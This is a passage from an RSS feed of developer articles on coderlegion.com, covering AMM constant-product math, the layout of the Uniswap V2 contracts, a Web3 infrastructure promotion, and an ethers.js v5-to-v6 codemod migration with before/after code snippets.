&lt;li&gt;&lt;code&gt;y&lt;/code&gt; is the amount of Token B (e.g., Potatoes).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;k&lt;/code&gt; is a constant number that must always stay exactly the same after a trade.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's use our 100 apples and 100 potatoes example.&lt;br&gt;
&lt;code&gt;100 (apples) * 100 (potatoes) = 10,000 (our constant 'k')&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you take 20 apples out of the pool, there are only 80 apples left. But the smart contract strictly enforces that the total multiplied together must still equal 10,000.&lt;/p&gt;
&lt;p&gt;So, the contract calculates the new required state: &lt;code&gt;10,000 / 80 apples = 125 potatoes.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For the pool to satisfy the invariant, it must now contain 125 potatoes. Since it originally had 100, you have to deposit 25 potatoes (the difference between 125 and 100) to execute your trade.&lt;/p&gt;
&lt;p&gt;That is it. Supply and demand, governed purely by unbreakable math. As one asset is bought out of the pool, it mathematically becomes more expensive. As an asset is sold into the pool, it becomes cheaper.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Infrastructure: Liquidity Providers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This raises an engineering question: Where do the millions of dollars worth of tokens sitting in these smart contracts come from?&lt;/p&gt;
&lt;p&gt;They come from &lt;strong&gt;Liquidity Providers (LPs).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;LPs are everyday users, investors, or protocols who lock their own tokens inside the smart contract to fund the pool. In exchange for supplying this infrastructure, they receive an &lt;strong&gt;LP Token:&lt;/strong&gt; a digital receipt proving they own a percentage of that specific pool.&lt;/p&gt;
&lt;p&gt;Why would anyone risk their capital to let strangers trade against it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fees.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every time a user makes a swap on an AMM, the protocol charges a tiny fee (usually around 0.3%). That fee does not go to a CEO or a centralized exchange. It goes directly back into the liquidity pool.&lt;/p&gt;
&lt;p&gt;Because the LP tokens represent a percentage claim over the pool, as those trading fees pile up, the underlying value of the LP tokens increases. The Liquidity Providers earn a yield simply for providing the capital that makes decentralized trading possible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j3jsswjhw4tcqh2vci0e.png&quot; alt=&quot;A clean, modern 3D infographic diagram on a dark background. In the center is a glowing pool of digital tokens representing a Liquidity Pool. Arrows show 'Traders' swapping tokens and paying a small fee into the pool. Other arrows show 'Liquidity Providers' depositing assets into the pool and receiving glowing 'LP Tokens' and 'Yield' in return. Design should be elegant and precise, using Royal Purple and Soft Gold.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's quickly recap the system architecture we just explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Order Books are inefficient onchain.&lt;/strong&gt; Requiring a state change for every order creation and cancellation costs too much gas.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AMMs replace middlemen with math.&lt;/strong&gt; You trade directly against a smart contract (a Liquidity Pool) rather than waiting for a human counterpart.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prices are driven by deterministic algorithms.&lt;/strong&gt; Using formulas like &lt;code&gt;x * y = k&lt;/code&gt;, the AMM automatically raises the price of an asset as it becomes scarcer in the pool.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Liquidity Providers are the backbone.&lt;/strong&gt; They supply the underlying tokens that make the system liquid, earning trading fees as a reward for their capital.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Final Thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AMMs changed trading by replacing coordination with computation, turning market rules into software anyone can verify.&lt;/p&gt;
&lt;p&gt;They took a complex, middleman-heavy financial process and reduced it to a few lines of self-executing, reliable code. They are a perfect example of how thoughtful engineering can create systems that are not only highly functional, but entirely trustless.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What are your thoughts on how AMMs are designed? Have you ever provided liquidity to a protocol yourself?&lt;/strong&gt; Let's chat about it in the comments below.&lt;/p&gt;
&lt;p&gt;Let's build something you can trust. Follow for more deep dives into smart contract architecture and onchain fundamentals.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/21139/how-amms-work-the-simple-math-behind-decentralized-trading</guid>
<pubDate>Mon, 22 Jun 2026 11:47:13 +0000</pubDate>
</item>
<item>
<title>Before the Swaps: A Map of Uniswap V2</title>
<link>https://coderlegion.com/15951/before-the-swaps-a-map-of-uniswap-v2</link>
<description>&lt;p&gt;Recently I did a &lt;a rel=&quot;nofollow&quot; href=&quot;https://dev.to/ranting_sage/x-y-k-and-other-things-i-shouldve-learned-sooner-ofe&quot;&gt;blog post&lt;/a&gt; where we did a quick breakdown of what AMMs are, Uniswap specifically, and built a basic intuition of how things work under the hood. It was initially just supposed to be a quick intro, but it eventually turned out more technical. We covered the &lt;strong&gt;Constant Product&lt;/strong&gt; formula, how it came to be, and how it's been the cornerstone of almost the entire DeFi space &lt;em&gt;(the actual decentralized space, not the protocols that keep showing up with a multisig and claiming to be DeFi, until somehow they get compromised and begin crying that the protocol itself is decentralized and we aren't at fault — it was the keys. Just shut up, if something can put that big of a dent in your core logic then stop calling yourself a DeFi protocol. Yeah, it's DeFi until it isn't. It's unbelievable how there have been so many such exploits in the past few years, but that doesn't mean it prevents new protocols, following similar architecture, from not coming up, not getting funded and somehow not growing to a quintillion dollars in TVL. Sorry I got sidetracked, but it is what it is)&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;So this is the second post in the series. But before we get into the actual flows — how swaps work, how liquidity gets added, all of that — it's worth taking five minutes to understand how Uniswap V2 is laid out. Not the contracts in detail, we'll get to those one by one in the posts that follow. Just the structure. Think of this as the blueprint of a building you've never been in. You don't need to know where every room is, just where the front door is and which staircase goes where.&lt;/p&gt;
&lt;p&gt;If some of the terms or concepts here feel unfamiliar, don't worry about it. By the time we're done with this series, everything here will have clicked into place naturally. This post is just context — a map you can come back to if you ever want to orient yourself while following along.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;two-repos-one-protocol&quot;&gt;Two repos, one protocol&lt;/h3&gt;
&lt;p&gt;The first thing that trips people up when they open the Uniswap V2 GitHub is that there are two repositories: &lt;code&gt;v2-core&lt;/code&gt; and &lt;code&gt;v2-periphery&lt;/code&gt;. It's tempting to assume this is just an organisational choice (at least thats what I initially thought it was) i.e. someone decided to split the code into two folders and gave them dramatic names. It's actually a deliberate architectural decision, and understanding &lt;em&gt;why&lt;/em&gt; it's split that way makes the whole thing easier to reason about.&lt;/p&gt;
&lt;p&gt;Core holds the contracts that actually hold your money. That's why its the core. Nothing fancy, nothing extraneous. Because these contracts custody real funds, they are intentionally minimal and completely immutable after deployment. There's no admin key, no upgrade mechanism, no way to patch them after the fact. If a bug were found in Core, the only option would be to deploy a new version entirely. Sounds scary at first, until you flip it around: it also means nobody can change these contracts to do something unexpected with your funds. Ever.&lt;/p&gt;
&lt;p&gt;Periphery, well, as the name suggests, lies on the periphery of the core logic. It holds everything that makes Core usable. The routing logic, the slippage checks, the optimal amount calculations, the multi-hop path resolution, all of that lives here. And we will get to it. And crucially, Periphery can be replaced. If a better router gets deployed tomorrow, users can switch to it without the underlying pools changing at all. The pools don't care who calls them.&lt;/p&gt;
&lt;p&gt;The split is a trust boundary. Core is what you have to trust. Periphery is just convenience.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-s-actually-in-each-repo&quot;&gt;What's actually in each repo&lt;/h3&gt;
&lt;p&gt;Core has three contracts that matter: &lt;code&gt;UniswapV2Factory&lt;/code&gt;, &lt;code&gt;UniswapV2Pair&lt;/code&gt;, and &lt;code&gt;UniswapV2ERC20&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Factory&lt;/strong&gt; is the registry. It deploys new pool contracts and keeps a record of every pool that exists - a mapping of token pair to pool address. When you want to find or create a pool for two tokens, the factory is where you go. One interesting detail: it uses a deterministic deployment method (&lt;code&gt;CREATE2&lt;/code&gt;) which means any pool's address can be computed off-chain just from the factory address and the two token addresses, without ever querying the chain. Internally, &lt;code&gt;CREATE2&lt;/code&gt; is just a hash of multiple parameters, one of them being the &lt;code&gt;salt&lt;/code&gt;. That means the same parameters generate the same result (the contract address, in this case) every time. If you want to deploy again, just change the salt and you'll get a new address. &lt;em&gt;I'll try to write a separate post on deterministic deployment: the types, the when and why, and when to avoid it altogether.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Pair&lt;/strong&gt; is the pool itself. Each deployed pair contract holds exactly two tokens and handles everything: minting LP tokens when liquidity is added, burning them when it's removed, executing swaps, flash loans, all of it. It also stores the price accumulators that make Uniswap's built-in TWAP oracle possible. One thing worth noting: &lt;code&gt;UniswapV2Pair&lt;/code&gt; is itself an ERC-20. The LP tokens &lt;em&gt;are&lt;/em&gt; the pair contract's own token. Holding LP tokens for a pool means literally holding shares of that contract.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UniswapV2ERC20&lt;/code&gt; is just the base ERC-20 that Pair inherits from, standard token functionality plus EIP-2612 permit support, which lets you approve and act in a single transaction rather than two.&lt;/p&gt;
&lt;p&gt;Core also has a couple of utility libraries — &lt;code&gt;Math.sol&lt;/code&gt; for the integer square root used in initial LP token calculations, and &lt;code&gt;UQ112x112.sol&lt;/code&gt; for the fixed-point arithmetic used in price accumulation. Nothing you need to think about much right now.&lt;/p&gt;
&lt;p&gt;Periphery is anchored by &lt;code&gt;UniswapV2Router02&lt;/code&gt; — the contract users actually interact with. Every function you call when using a DEX frontend, or any other integrator, sits here. It handles all four operations, wraps and unwraps ETH for ETH-involving swaps, enforces deadlines, and calculates the optimal amounts before anything touches Core. There's also a &lt;code&gt;Router01&lt;/code&gt; in the repo, but it's effectively deprecated. Router02 replaced it with better support for a broader range of token types.&lt;/p&gt;
&lt;p&gt;Supporting the Router is &lt;code&gt;UniswapV2Library&lt;/code&gt;, a stateless utility library that handles all the computational work: looking up pair addresses, fetching reserves, calculating swap outputs, walking multi-hop paths. None of this needs to touch state, so it's compiled inline rather than deployed as a standalone contract. And there's &lt;code&gt;UniswapV2OracleLibrary&lt;/code&gt;, which provides helpers for building TWAP oracles on top of the pair's price accumulators — if you've ever wondered how protocols get manipulation-resistant on-chain price feeds, this is part of that story.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-helpers-that-don-t-live-in-either-repo&quot;&gt;The helpers that don't live in either repo&lt;/h3&gt;
&lt;p&gt;Two external utility packages get pulled into V2 that are worth knowing about, mostly because you'll see them imported in the contracts as you follow along.&lt;/p&gt;
&lt;p&gt;The first is &lt;code&gt;TransferHelper&lt;/code&gt; from &lt;code&gt;@uniswap/solidity-lib&lt;/code&gt;. The problem it solves is a real one: ERC-20's &lt;code&gt;transfer()&lt;/code&gt; is &lt;em&gt;supposed&lt;/em&gt; to return a boolean indicating success, but a surprising number of tokens, USDT being the most notorious, don't return anything at all. A naive &lt;code&gt;require(token.transfer(...))&lt;/code&gt; would just revert on these tokens even when the transfer worked fine. &lt;code&gt;TransferHelper&lt;/code&gt; wraps transfers in a low-level call that handles both cases gracefully. It's a small thing, but without it the Router would silently fail on a large class of tokens that people actually use.&lt;/p&gt;
&lt;p&gt;The second is &lt;code&gt;FixedPoint&lt;/code&gt; from &lt;code&gt;@uniswap/lib&lt;/code&gt;, which provides fixed-point number types for the oracle library. Solidity has no native floating-point, so cumulative price values need a way to accumulate fractional ratios over time without losing precision. That's what this handles.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-call-flow-in-one-line&quot;&gt;The call flow in one line&lt;/h3&gt;
&lt;p&gt;For every operation, the path is:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User → Router → Pair → User&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The Factory sits to the side, consulted by the Router to find or deploy pair addresses when needed, but not in the critical path of every transaction. The libraries are silent infrastructure, compiled into the Router and never called directly.&lt;/p&gt;
&lt;p&gt;That's the map. Keep it somewhere in the back of your head as we get into the flows. Whenever you see the Router calling something on the Pair, or the Pair checking something via the Library, you'll know exactly where you are.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Here are all the contracts and repos referenced in this post, if you want to poke around yourself, although you definitely don't need to do that just yet.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Router&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol&quot;&gt;https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pair&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol&quot;&gt;https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Factory&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol&quot;&gt;https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TransferHelper&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol&quot;&gt;https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FixedPoint&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Uniswap/uniswap-lib/blob/master/contracts/libraries/FixedPoint.sol&quot;&gt;https://github.com/Uniswap/uniswap-lib/blob/master/contracts/libraries/FixedPoint.sol&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next up: adding liquidity to a pool. This is where the constant product formula stops being theory and starts getting its hands dirty.&lt;br&gt;
In case you missed the intro: &lt;a rel=&quot;nofollow&quot; href=&quot;https://dev.to/ranting_sage/x-y-k-and-other-things-i-shouldve-learned-sooner-ofe&quot;&gt;x * y = k, and Other Things I Should've Learned Sooner &lt;/a&gt; &lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/15951/before-the-swaps-a-map-of-uniswap-v2</guid>
<pubDate>Mon, 27 Apr 2026 06:58:33 +0000</pubDate>
</item>
<item>
<title>Infrastructure Is the Real Product: How Ktzchen Web3 Avoids Bottlenecks by Design</title>
<link>https://coderlegion.com/15396/infrastructure-is-the-real-product-how-ktzchen-web3-avoids-bottlenecks-by-design</link>
<description>&lt;p&gt;In Web3, everyone talks about features.&lt;/p&gt;
&lt;p&gt;Few talk about infrastructure.&lt;/p&gt;
&lt;p&gt;But infrastructure is the product.&lt;/p&gt;
&lt;p&gt;At Ktzchen Web3, every tool — from contract analysis to on-chain audits — runs on a deliberately designed architecture built to eliminate bottlenecks, reduce latency, and maintain real-time blockchain synchronization.&lt;/p&gt;
&lt;p&gt;Not shared.&lt;br&gt;
Not oversold.&lt;br&gt;
Not superficial.&lt;/p&gt;
&lt;p&gt;Intentional.&lt;/p&gt;
&lt;p&gt;The Problem With “Cloud-First” Web3&lt;/p&gt;
&lt;p&gt;Many Web3 platforms rely on:&lt;/p&gt;
&lt;p&gt;Over-subscribed virtual machines&lt;/p&gt;
&lt;p&gt;Shared compute environments&lt;/p&gt;
&lt;p&gt;I/O contention&lt;/p&gt;
&lt;p&gt;Third-party RPC dependencies&lt;/p&gt;
&lt;p&gt;Hidden latency layers&lt;/p&gt;
&lt;p&gt;It works — until it doesn’t.&lt;/p&gt;
&lt;p&gt;When infrastructure is shared, performance becomes probabilistic.&lt;br&gt;
When I/O is congested, blockchain sync lags.&lt;br&gt;
When you depend on third-party RPCs, you inherit their downtime.&lt;/p&gt;
&lt;p&gt;In blockchain infrastructure, consistency matters more than spikes.&lt;/p&gt;
&lt;p&gt;The Architectural Philosophy&lt;/p&gt;
&lt;p&gt;Ktzchen Web3 operates on an infrastructure model designed around:&lt;/p&gt;
&lt;p&gt;No over-subscription&lt;/p&gt;
&lt;p&gt;Dedicated resources&lt;/p&gt;
&lt;p&gt;No shared virtualization layers&lt;/p&gt;
&lt;p&gt;No I/O bottlenecks&lt;/p&gt;
&lt;p&gt;High-speed memory and storage alignment&lt;/p&gt;
&lt;p&gt;Real-time node synchronization&lt;/p&gt;
&lt;p&gt;Consistently low latency&lt;/p&gt;
&lt;p&gt;No dependency on third parties for critical blockchain data&lt;/p&gt;
&lt;p&gt;This isn’t about marketing numbers.&lt;/p&gt;
&lt;p&gt;It’s about eliminating systemic friction.&lt;/p&gt;
&lt;p&gt;Why Bottlenecks Kill Web3 Tools&lt;/p&gt;
&lt;p&gt;Blockchain workloads are unique:&lt;/p&gt;
&lt;p&gt;Continuous disk writes&lt;/p&gt;
&lt;p&gt;Constant state updates&lt;/p&gt;
&lt;p&gt;Heavy read queries&lt;/p&gt;
&lt;p&gt;High RPC demand&lt;/p&gt;
&lt;p&gt;Real-time verification needs&lt;/p&gt;
&lt;p&gt;If memory, CPU, and storage aren’t aligned, you create:&lt;/p&gt;
&lt;p&gt;Sync delays&lt;/p&gt;
&lt;p&gt;Transaction lag&lt;/p&gt;
&lt;p&gt;Inconsistent audit results&lt;/p&gt;
&lt;p&gt;Inaccurate mempool monitoring&lt;/p&gt;
&lt;p&gt;Slow contract analysis&lt;/p&gt;
&lt;p&gt;That’s not a frontend problem.&lt;/p&gt;
&lt;p&gt;That’s architecture debt.&lt;/p&gt;
&lt;p&gt;Dedicated Infrastructure = Predictable Performance&lt;/p&gt;
&lt;p&gt;When infrastructure is purpose-built:&lt;/p&gt;
&lt;p&gt;Gas data updates instantly&lt;/p&gt;
&lt;p&gt;Whale monitoring reflects real-time activity&lt;/p&gt;
&lt;p&gt;Audit certificates register without delay&lt;/p&gt;
&lt;p&gt;Node statistics reflect true network state&lt;/p&gt;
&lt;p&gt;Blockchain explorers show accurate block data&lt;/p&gt;
&lt;p&gt;Consistency builds trust.&lt;/p&gt;
&lt;p&gt;And trust is infrastructure.&lt;/p&gt;
&lt;p&gt;Simplicity Is Security&lt;/p&gt;
&lt;p&gt;Complex multi-layer deployments often introduce:&lt;/p&gt;
&lt;p&gt;Hidden failure points&lt;/p&gt;
&lt;p&gt;Configuration drift&lt;/p&gt;
&lt;p&gt;Attack surface expansion&lt;/p&gt;
&lt;p&gt;Dependency fragility&lt;/p&gt;
&lt;p&gt;A simplified, secure, automated node architecture reduces:&lt;/p&gt;
&lt;p&gt;Operational risk&lt;/p&gt;
&lt;p&gt;Latency variance&lt;/p&gt;
&lt;p&gt;External dependencies&lt;/p&gt;
&lt;p&gt;Infrastructure entropy&lt;/p&gt;
&lt;p&gt;Security isn’t just about firewalls.&lt;/p&gt;
&lt;p&gt;It’s about design.&lt;/p&gt;
&lt;p&gt;Infrastructure Is the Competitive Edge&lt;/p&gt;
&lt;p&gt;Ktzchen Web3 tools don’t just look functional.&lt;/p&gt;
&lt;p&gt;They operate on infrastructure intentionally designed to:&lt;/p&gt;
&lt;p&gt;Avoid congestion&lt;/p&gt;
&lt;p&gt;Maintain full synchronization&lt;/p&gt;
&lt;p&gt;Deliver consistent low-latency performance&lt;/p&gt;
&lt;p&gt;Protect critical data integrity&lt;/p&gt;
&lt;p&gt;Because in Web3, you’re not building apps.&lt;/p&gt;
&lt;p&gt;You’re operating state machines.&lt;/p&gt;
&lt;p&gt;And state machines demand precision.&lt;/p&gt;
&lt;p&gt;Final Thought&lt;/p&gt;
&lt;p&gt;Anyone can deploy a frontend.&lt;/p&gt;
&lt;p&gt;Few operate real blockchain infrastructure.&lt;/p&gt;
&lt;p&gt;Infrastructure is invisible — until it fails.&lt;/p&gt;
&lt;p&gt;Ours doesn’t depend on hope.&lt;br&gt;
It depends on architecture.&lt;/p&gt;
&lt;p&gt;Visit the website here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ktzchenweb3.io/&quot;&gt;https://ktzchenweb3.io/&lt;/a&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/15396/infrastructure-is-the-real-product-how-ktzchen-web3-avoids-bottlenecks-by-design</guid>
<pubDate>Tue, 21 Apr 2026 13:24:15 +0000</pubDate>
</item>
<item>
<title>I Automated 90% of The Ethers.js v5 v6 Migration using Codemods and AI</title>
<link>https://coderlegion.com/15355/i-automated-90-of-the-ethers-js-v5-v6-migration-using-codemods-and-ai</link>
<description>&lt;p&gt;Ethers v6 dropped a breaking change on every project that touched BigNumber, utils, or providers — which is basically every DeFi frontend ever written. The migration guide listed over 40 breaking changes. Some were simple renames. Some required understanding whether a variable was a BigNumber before deciding what to do with it. Doing this by hand across 31 files is exactly the kind of work that makes engineers quit. I built a codemod pipeline to handle the mechanical ones automatically — and wrote AI prompts for the rest.&lt;/p&gt;
&lt;h3 id=&quot;why-ethers-v5-v6-is-painful&quot;&gt;Why ethers v5 → v6 is painful&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;BigNumber is gone.&lt;/strong&gt; In v5, every numeric value coming off a contract was a &lt;code&gt;BigNumber&lt;/code&gt; instance with its own method API: &lt;code&gt;.add()&lt;/code&gt;, &lt;code&gt;.mul()&lt;/code&gt;, &lt;code&gt;.toNumber()&lt;/code&gt;, &lt;code&gt;.toHexString()&lt;/code&gt;. In v6, native JavaScript &lt;code&gt;bigint&lt;/code&gt; takes over. That's a good change long-term, but it means every arithmetic expression, every comparison, every conversion in your codebase needs to change — and if you mix a &lt;code&gt;bigint&lt;/code&gt; with a &lt;code&gt;number&lt;/code&gt; by accident, you get a runtime &lt;code&gt;TypeError&lt;/code&gt; with no static warning unless you're fully strict about types.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The entire &lt;code&gt;ethers.utils&lt;/code&gt; namespace was flattened.&lt;/strong&gt; In v5, utility functions lived under &lt;code&gt;ethers.utils&lt;/code&gt;: &lt;code&gt;ethers.utils.parseEther&lt;/code&gt;, &lt;code&gt;ethers.utils.keccak256&lt;/code&gt;, &lt;code&gt;ethers.utils.arrayify&lt;/code&gt;. In v6, they're all top-level on the &lt;code&gt;ethers&lt;/code&gt; object. That's 15+ functions to find and rename across your codebase, and three of them got renamed too: &lt;code&gt;arrayify&lt;/code&gt; became &lt;code&gt;getBytes&lt;/code&gt;, &lt;code&gt;hexZeroPad&lt;/code&gt; became &lt;code&gt;zeroPadValue&lt;/code&gt;, and &lt;code&gt;splitSignature&lt;/code&gt; became &lt;code&gt;Signature.from()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Providers moved and Web3Provider is gone.&lt;/strong&gt; The entire &lt;code&gt;ethers.providers&lt;/code&gt; sub-namespace was dissolved. &lt;code&gt;new ethers.providers.JsonRpcProvider(url)&lt;/code&gt; is now &lt;code&gt;new ethers.JsonRpcProvider(url)&lt;/code&gt;. &lt;code&gt;new ethers.providers.Web3Provider(window.ethereum)&lt;/code&gt; — the line in basically every frontend DeFi app — is now &lt;code&gt;new ethers.BrowserProvider(window.ethereum)&lt;/code&gt;. &lt;code&gt;StaticJsonRpcProvider&lt;/code&gt; was merged into &lt;code&gt;JsonRpcProvider&lt;/code&gt;. If you have TypeScript type annotations using &lt;code&gt;ethers.providers.X&lt;/code&gt;, those need to change too.&lt;/p&gt;
&lt;h3 id=&quot;my-approach-codemods-ai&quot;&gt;My approach: codemods + AI&lt;/h3&gt;
&lt;p&gt;The insight that made this tractable is recognizing that these changes fall into two completely different categories.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mechanical renames&lt;/strong&gt; have one right answer. &lt;code&gt;ethers.utils.parseEther&lt;/code&gt; always becomes &lt;code&gt;ethers.parseEther&lt;/code&gt;. &lt;code&gt;new ethers.providers.Web3Provider(x)&lt;/code&gt; always becomes &lt;code&gt;new ethers.BrowserProvider(x)&lt;/code&gt;. These changes are safe to automate because the transformation is deterministic — given the same input, there's only one correct output. A codemod handles these at AST level: it parses the source into a syntax tree, finds the exact nodes to change, replaces them, and prints the result with formatting preserved. No regex, no string munging, no accidental replacements inside comments or string literals.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Semantic changes&lt;/strong&gt; require context. When you see &lt;code&gt;someVar.toNumber()&lt;/code&gt;, the right migration depends on where &lt;code&gt;someVar&lt;/code&gt; came from. If it's the direct result of &lt;code&gt;BigNumber.from(x)&lt;/code&gt;, you can mechanically replace it with &lt;code&gt;Number(BigInt(x))&lt;/code&gt;. But if it came from a contract call two scopes away, you need to understand the data flow, check whether the value could exceed &lt;code&gt;Number.MAX_SAFE_INTEGER&lt;/code&gt;, and decide whether &lt;code&gt;Number()&lt;/code&gt;, &lt;code&gt;parseInt()&lt;/code&gt;, or staying with &lt;code&gt;bigint&lt;/code&gt; is right. No static tool makes that call correctly 100% of the time. AI does, given enough context.&lt;/p&gt;
&lt;p&gt;The combination is the only approach that scales. Codemods alone leave the semantic cases as silent bugs. AI alone on a 31-file codebase is slow and expensive. Together, you get deterministic correctness where it's possible and targeted AI review where it's necessary.&lt;/p&gt;
&lt;h3 id=&quot;the-8-transforms-i-built&quot;&gt;The 8 transforms I built&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;rename-utils&lt;/strong&gt; — Lifts all 17 &lt;code&gt;ethers.utils.*&lt;/code&gt; functions to the top-level namespace. Handles both &lt;code&gt;import * as ethers&lt;/code&gt; and &lt;code&gt;import { utils }&lt;/code&gt; styles, rewrites the import declaration, and covers the two structural changes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
const amount = ethers.utils.parseEther('1.0');
const bytes  = ethers.utils.arrayify(hexString);

// after
const amount = ethers.parseEther('1.0');
const bytes  = ethers.getBytes(hexString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;bigNumber-to-bigint&lt;/strong&gt; — Replaces &lt;code&gt;BigNumber.from(x)&lt;/code&gt; with &lt;code&gt;BigInt(x)&lt;/code&gt; and rewrites instance methods on statically-confirmed BigNumber variables to native operators. Uses a conservative two-phase approach: method rewrites run first to handle chains like &lt;code&gt;BigNumber.from(x).toNumber()&lt;/code&gt; atomically, then standalone &lt;code&gt;BigNumber.from()&lt;/code&gt; nodes are replaced.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
const fee = BigNumber.from('1000000');
const total = fee.add(BigNumber.from('500000'));

// after
const fee = BigInt('1000000');
const total = fee + BigInt('500000');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;rename-providers&lt;/strong&gt; — Renames all 7 provider classes and updates TypeScript type annotations. &lt;code&gt;StaticJsonRpcProvider&lt;/code&gt; merges into &lt;code&gt;JsonRpcProvider&lt;/code&gt;. Handles destructured &lt;code&gt;import { providers }&lt;/code&gt; by injecting the specific v6 names that were actually used.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
const provider = new ethers.providers.Web3Provider(window.ethereum);
let p: ethers.providers.JsonRpcProvider;

// after
const provider = new ethers.BrowserProvider(window.ethereum);
let p: ethers.JsonRpcProvider;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;gasPrice-to-feeData&lt;/strong&gt; — Rewrites &lt;code&gt;await provider.getGasPrice()&lt;/code&gt; by replacing the entire &lt;code&gt;AwaitExpression&lt;/code&gt; node. This means the parentheses around the await are handled automatically by recast's printer based on operator precedence — I don't insert them manually.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
const gasPrice = await provider.getGasPrice();

// after
const gasPrice = (await provider.getFeeData()).gasPrice;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;rename-constants&lt;/strong&gt; — Replaces all &lt;code&gt;ethers.constants.*&lt;/code&gt; accesses with their v6 equivalents. Named constants become top-level properties (&lt;code&gt;AddressZero → ZeroAddress&lt;/code&gt;, &lt;code&gt;MaxUint256 → MaxUint256&lt;/code&gt;). The four numeric constants become native bigint literals since BigNumber is gone.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
const zero = ethers.constants.AddressZero;
const max  = ethers.constants.MaxUint256;
const one  = ethers.constants.One;

// after
const zero = ethers.ZeroAddress;
const max  = ethers.MaxUint256;
const one  = 1n;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;rename-contract-methods&lt;/strong&gt; — Rewrites the four v5 contract method bucket patterns. In v5, less-common operations were accessed via intermediate buckets (&lt;code&gt;callStatic&lt;/code&gt;, &lt;code&gt;estimateGas&lt;/code&gt;, &lt;code&gt;populateTransaction&lt;/code&gt;, &lt;code&gt;functions&lt;/code&gt;). In v6 they moved to direct methods on the contract function itself.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;// before
const result = await contract.callStatic.balanceOf(addr);
const gas    = await contract.estimateGas.transfer(to, amount);

// after
const result = await contract.balanceOf.staticCall(addr);
const gas    = await contract.transfer.estimateGas(to, amount);
&lt;/code&gt;&lt;/pre&gt;
